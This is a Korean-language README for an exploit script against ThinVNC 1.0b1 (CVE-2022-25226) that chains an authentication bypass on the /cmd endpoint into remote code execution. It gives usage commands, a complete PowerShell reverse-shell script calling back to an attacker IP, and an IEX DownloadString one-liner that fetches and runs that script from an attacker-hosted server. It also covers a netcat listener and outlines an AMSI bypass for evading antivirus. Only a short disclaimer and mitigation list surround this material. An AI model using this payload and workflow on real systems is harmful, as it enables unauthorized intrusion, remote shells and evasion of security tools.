ThinVNC 1.0b1 - 인증 우회를 통한 원격 코드 실행 (CVE-2022-25226)

저자: krill-x7
참조: https://fluidattacks.com/advisories/sinatra

개요

ThinVNC 1.0b1에는 인증 우회 취약점(CVE-2022-25226)이 존재하며, 원격 공격자가 인증 없이 백엔드와 상호작용할 수 있습니다. 노출된 /cmd 엔드포인트를 활용하여 공격자는 키 입력을 시뮬레이션하고, PowerShell을 열고, AMSI를 우회하고, 임의의 명령을 실행할 수 있습니다—궁극적으로 원격 코드 실행(RCE)으로 이어집니다.

이 스크립트는 이러한 기본 요소들을 연결하여 대상 시스템에서 리버스 셸을 획득합니다.

면책 조항

이 코드는 교육 목적으로만 제공됩니다.
소유한 시스템이나 명시적으로 테스트가 허가된 시스템에서만 사용하십시오.

요구 사항

• Python 3
• 공격자 머신에서 호스팅되는 rev.ps1 리버스 셸 스크립트
• 셸을 받을 리스너 (예: Netcat)

사용법

python3 thinvnc_rce.py -t <TARGET_IP> -tp <TARGET_PORT> -a <ATTACKER_IP> -ap <ATTACKER_PORT>

예제

python3 thinvnc_rce.py -t 192.168.1.100 -tp 8080 -a 192.168.1.200 -ap 8000

페이로드 설정

1. rev.ps1 만들기

이 내용을 rev.ps1 파일로 저장하십시오.
중요: 192.168.1.200과 8000을 공격자의 IP와 리스닝 포트로 바꾸십시오.

$client = New-Object System.Net.Sockets.TCPClient("192.168.1.200",8000);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
  $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
  $sendback = (iex $data 2>&1 | Out-String );
  $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
  $stream.Write($sendbyte,0,$sendbyte.Length);
  $stream.Flush()
}
$client.Close()

2. rev.ps1 호스팅

같은 디렉터리에서 실행:

python3 -m http.server 8000

3. 리스너 시작

nc -lvnp 8000

익스플로잇 워크플로우

1. 인증 없이 /cmd?cmd=connect 요청으로 유효한 SID를 얻습니다.
2. /cmd?cmd=start를 통해 키보드/마우스 액세스 권한으로 해당 SID를 시작합니다.
3. Ctrl+Esc 키 조합을 보내 시작 메뉴를 엽니다.
4. 우회 모드에서 PowerShell을 실행합니다.
5. AMSI를 우회하여 PowerShell 보호 기능을 비활성화합니다.
6. HTTP 서버에 호스팅된 리버스 셸 페이로드를 실행합니다.

페이로드 실행

메모리에서 실행되는 페이로드는 다음과 같습니다:

IEX((New-Object System.Net.WebClient).DownloadString('http://<ATTACKER_IP>:<PORT>/rev.ps1'))

<ATTACKER_IP> 및 <PORT>를 실제 IP와 포트로 바꾸십시오.

참고 사항

• 페이로드는 클립보드 기반 명령 주입을 통해 실행됩니다.
• PowerShell 기반 AV 탐지를 우회하기 위해 AMSI 우회가 포함되어 있습니다.
• ThinVNC는 기본 사용자 권한으로 PowerShell을 실행합니다—관리자로 실행 중인 경우 셸은 상승된 권한을 갖습니다.

완화 조치

• ThinVNC를 인터넷에 노출하지 마십시오.
• 웹 서버 구성 또는 WAF를 통해 /cmd 엔드포인트를 차단하십시오.
• 지원되고 안전한 대안(예: Apache Guacamole)으로 전환하십시오.
• PowerShell 사용 및 클립보드 주입 동작을 모니터링하십시오.

크레딧

• 익스플로잇 및 자동화: krill-x7
• 취약점 발견 및 권고: Fluid Attacks – Advisory Sinatra